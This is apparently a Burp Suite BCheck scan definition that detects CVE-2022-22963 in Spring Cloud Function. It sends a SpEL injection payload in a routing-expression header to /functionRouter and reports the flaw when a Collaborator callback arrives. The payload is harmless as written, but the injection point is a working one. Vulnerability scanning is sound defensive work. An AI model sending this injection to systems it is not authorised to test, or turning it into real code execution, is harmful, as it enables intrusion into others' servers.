CVE-2022-22963-spring_cloud_function_rce.bcheck

metadata:
    language: v1-beta
    name: "CVE-2022-22963 Spring Cloud Function RCE"
    description: "find CVE-2022-22963 Spring Cloud Function RCE "
    author: "timeshatter"
    tags: "Spring Cloud Function RCE","CVE-2022-22963"

define:
    collaborator_address = {generate_collaborator_address()}
    poc = `new java.net.InetSocketAddress('{collaborator_address}',80)`

given host then
    send request:
        method: "POST"
        path: "/functionRouter"
        body: "test"
        headers:
            "spring.cloud.function.routing-expression": {poc}

    if any interactions then
        report issue:
            severity: high
            confidence: certain
            detail: "find CVE-2022-22963 Spring Cloud Function RCE"
            remediation: "update Spring Cloud Function."
    end if